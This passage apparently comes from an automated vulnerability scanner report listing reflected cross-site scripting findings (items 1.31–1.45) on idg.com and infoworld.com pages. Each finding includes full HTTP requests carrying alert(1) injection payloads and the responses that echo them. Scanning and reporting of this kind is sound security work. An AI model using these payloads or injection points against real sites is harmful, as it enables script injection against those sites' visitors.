GET /www/homenew.nsf/idg_mainbanner.jpg?openimageresourceea397"-alert(1)-"7607a1e5cad HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:33:48 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5129
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/idg_mainbanner.jpg?openimageresourceea397"-alert(1)-"7607a1e5cad");
} catch(err) {}</script>
...[SNIP]...

1.31. http://www.idg.com/www/homenew.nsf/menu.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/menu.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc234"-alert(1)-"e110c3875ed was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/menu.js?OpenJavascriptLibrarycc234"-alert(1)-"e110c3875ed HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:30 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5122
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/menu.js?OpenJavascriptLibrarycc234"-alert(1)-"e110c3875ed");
} catch(err) {}</script>
...[SNIP]...

1.32. http://www.idg.com/www/homenew.nsf/menu.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/menu.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6562"%3b2997de139b8 was submitted in the REST URL parameter 1. This input was echoed as c6562";2997de139b8 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /wwwc6562"%3b2997de139b8/homenew.nsf/menu.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:31 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5112
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /wwwc6562";2997de139b8/homenew.nsf/menu.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.33. http://www.idg.com/www/homenew.nsf/menu.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/menu.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b42be"%3bf38c0615799 was submitted in the REST URL parameter 3. This input was echoed as b42be";f38c0615799 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/menu.jsb42be"%3bf38c0615799?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:36 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5112
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/menu.jsb42be";f38c0615799?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.34. http://www.idg.com/www/homenew.nsf/public_smo_scripts.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/public_smo_scripts.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6e7dc"-alert(1)-"18e9a0a90b0 was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/public_smo_scripts.js?OpenJavascriptLibrary6e7dc"-alert(1)-"18e9a0a90b0 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:16 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5136
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
cript type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/public_smo_scripts.js?OpenJavascriptLibrary6e7dc"-alert(1)-"18e9a0a90b0");
} catch(err) {}</script>
...[SNIP]...

1.35. http://www.idg.com/www/homenew.nsf/public_smo_scripts.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/public_smo_scripts.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7db26"%3bbf0a7a200d0 was submitted in the REST URL parameter 1. This input was echoed as 7db26";bf0a7a200d0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www7db26"%3bbf0a7a200d0/homenew.nsf/public_smo_scripts.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:17 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5126
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www7db26";bf0a7a200d0/homenew.nsf/public_smo_scripts.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.36. http://www.idg.com/www/homenew.nsf/public_smo_scripts.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/public_smo_scripts.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 428b8"%3bdf90df4ca7 was submitted in the REST URL parameter 3. This input was echoed as 428b8";df90df4ca7 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/public_smo_scripts.js428b8"%3bdf90df4ca7?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:27 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5125
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/public_smo_scripts.js428b8";df90df4ca7?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.37. http://www.idg.com/www/homenew.nsf/request.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/request.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64814"-alert(1)-"21d524a7a93 was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/request.js?OpenJavascriptLibrary64814"-alert(1)-"21d524a7a93 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:25 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5125
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/request.js?OpenJavascriptLibrary64814"-alert(1)-"21d524a7a93");
} catch(err) {}</script>
...[SNIP]...

1.38. http://www.idg.com/www/homenew.nsf/request.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/request.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f718a"%3bbe6d9bd42d1 was submitted in the REST URL parameter 1. This input was echoed as f718a";be6d9bd42d1 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /wwwf718a"%3bbe6d9bd42d1/homenew.nsf/request.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:25 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5115
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /wwwf718a";be6d9bd42d1/homenew.nsf/request.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.39. http://www.idg.com/www/homenew.nsf/request.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/request.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2051d"%3b8fc721c7a6b was submitted in the REST URL parameter 3. This input was echoed as 2051d";8fc721c7a6b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/request.js2051d"%3b8fc721c7a6b?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:26 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5115
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/request.js2051d";8fc721c7a6b?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.40. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8d65"><script>alert(1)</script>e66e53a6871 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modulesb8d65"><script>alert(1)</script>e66e53a6871/DCP/contrib/views/css/views.css?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:03 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460663-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modulesb8d65"><script>alert(1)</script>e66e53a6871/DCP/contrib/views/css/views.css&Q">
...[SNIP]...

1.41. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b146e"><script>alert(1)</script>db7b4930dde was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCPb146e"><script>alert(1)</script>db7b4930dde/contrib/views/css/views.css?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:05 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:05 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460665-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCPb146e"><script>alert(1)</script>db7b4930dde/contrib/views/css/views.css&Q">
...[SNIP]...

1.42. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f742c"><script>alert(1)</script>b10b4045bbc was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/contribf742c"><script>alert(1)</script>b10b4045bbc/views/css/views.css?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:07 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:07 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460667-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/contribf742c"><script>alert(1)</script>b10b4045bbc/views/css/views.css&Q">
...[SNIP]...

1.43. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 129df"><script>alert(1)</script>f2de06625c9 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/contrib/views129df"><script>alert(1)</script>f2de06625c9/css/views.css?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:09 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:09 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460669-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/contrib/views129df"><script>alert(1)</script>f2de06625c9/css/views.css&Q">
...[SNIP]...

1.44. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc32"><script>alert(1)</script>7e52655dc92 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/contrib/views/cssdfc32"><script>alert(1)</script>7e52655dc92/views.css?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:11 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:11 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460671-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=modules/DCP/contrib/views/cssdfc32"><script>alert(1)</script>7e52655dc92/views.css&Q">
...[SNIP]...

1.45. http://www.infoworld.com/modules/DCP/contrib/views/css/views.css [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/modules/DCP/contrib/views/css/views.css

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 376e6"><script>alert(1)</script>9489cdc8335 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /modules/DCP/contrib/views/css/views.css376e6"><script>alert(1)</script>9489cdc8335?Q HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:13 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460673-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51153

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
